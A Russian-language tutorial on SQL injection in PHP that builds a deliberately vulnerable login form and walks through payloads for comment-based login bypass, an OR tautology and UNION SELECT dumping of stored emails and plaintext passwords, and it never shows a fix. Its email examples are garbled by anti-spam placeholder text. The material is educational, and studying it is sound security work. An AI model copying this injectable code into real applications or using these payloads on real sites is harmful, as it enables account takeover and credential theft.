SQL инъекции в PHP
Конечно, SQL инъекции в PHP возможны только при отсутствии проверки данных из форм и при наличии явных ошибках программистов. Я пишу эту статью для тех, кто НЕ хочет стать жертвой таких атак на свой сайт и для тех, кто хочет писать свои безопасные приложения.
Пишем форму для отправки логина и пароля для АВТОРИЗАЦИИ:
<form action="" method="POST"> <input type="text" name="email" value="<?=$email?>"><br> <input type="text" name="pass" value="<?=$pass?>"><br> <input type="submit" name="subm" value="Авторизоваться"> </form>
А в PHP-коде пишем:
<?php if ($_POST['subm']) { $email=$_POST['email'];//Логин $pass =$_POST['pass']; //Пароль echo $sql="SELECT `name` FROM `users` WHERE `email`='$email' AND `pass`='$pass';";//Готовим SQL-запрос... //...и тд... ?>
Теперь в форму пишем логин (E-mail) и пароль.
- Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
- Пароль: 123
...и получаем такой SQL-запрос:
SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='123';
Если это запрос возвращает одну строку с именем, значит создаём сессию авторизации и погнали... Стандартная авторизация.
ТЕПЕРЬ: Как авторизоваться без пароля или вообще получить список логинов и паролей к ним..?
Добавляем -- (однострочный комментарий)
- Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.'; --
- Пароль: не важно...
Обязательно поставить пробел после -- - это однострочный комментарий в MySQL.
- Получим такой SQL-запрос:
SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.'; -- ' AND `pass`='не важно...';
Это и есть авторизация без пароля... Круто?
Добавляем OR (или)
А если в форму ввести:
- Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
- Пароль: ' OR `pass`!='
Получим такой SQL-запрос:
SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='' OR `pass`!='';
Добавляем UNION (объединение запросов)
Ключевое слово UNION применяется для объединения двух и более SQL-запросов в единую таблицу, при этом количество полей должно быть одинаковым.
- Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
- Пароль: ' OR `pass`!='' UNION SELECT email FROM `users` WHERE `email`!='' UNION SELECT pass FROM `users` WHERE `email`!='
Получим такой SQL-запрос:
SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='' OR `pass`!=''
UNION SELECT email FROM `users` WHERE `email`!=''
UNION SELECT pass FROM `users` WHERE `email`!='';
Объединяются три запроса и код возвращает списки: имена, логины и пароли... Всё, добро пожаловать на сайт, НОВЫЙ господин!))
Количество полей можно определить с помощью подбора:
- ...UNION SELECT 1...
- ...UNION SELECT 1, 2...
- ...UNION SELECT 1, 2, 3...
- и тд...
- или ...GROUP BY...
Весь код выглядит так...
MySQL - создаём таблицу и наполняем её:
-- -- База данных: `sasha` и структура таблицы `users` -- CREATE TABLE `users` ( `id` int(10) NOT NULL, `name` varchar(20) NOT NULL, `email` varchar(20) NOT NULL, `pass` varchar(10) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8; -- -- Дамп данных таблицы `users` -- INSERT INTO `users` (`id`, `name`, `email`, `pass`) VALUES (1, 'Геннадий', 'Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', '123'), (2, 'Саша', 'Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', '456');
PHP и HTML код:
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous"> <div style="width:100%; max-width:800px; margin:0 auto;"> <?php //Это данные для подключения к MySQL $host='localhost'; // адрес сервера $user='root'; // Login $pasB=''; // Пароль $base='sasha'; // Имя базы данных echo '<h2>У вас PHP '.phpversion()."версия</h2>\n"; if ($_POST['subm']) { $email=$_POST['email']; $pass=$_POST['pass']; echo $sql="SELECT `name` FROM `users` WHERE `email`='$email' AND `pass`='$pass';"; @$con=mysql_connect($host,$user,$pasB); //Соединение с Mysql echo $put; if ($con) { mysql_select_db($base);//Выбрать базу echo "<h4>Подключились mysql_connect()!</h4>\n"; mysql_query('SET NAMES utf8');//Кодировка $rs=mysql_query($sql,$con); while ($row=mysql_fetch_assoc($rs)) print_rG($row,1); mysql_close($con);//Закрываем подключение } else echo "Подключение не удалось mysql_connect !<br>\n";//exit; } function print_rG($m,$v=0) { $r="\n<pre>".print_r($m,TRUE)."</pre>\n"; if ($v==0) return $r; else echo $r; } ?> <h1 id="rz"><a href="/">Форма</a></h1> <p>ИМЯ: </p> <form action="#rz" method="POST"> <input type="text" name="email" style="width:100%;" value="<?=$email?>"><br><br> <input type="text" name="pass" style="width:100%;" value="<?=$pass?>"><br><br> <input type="submit" name="subm" value="Авторизоваться"> </form> </div>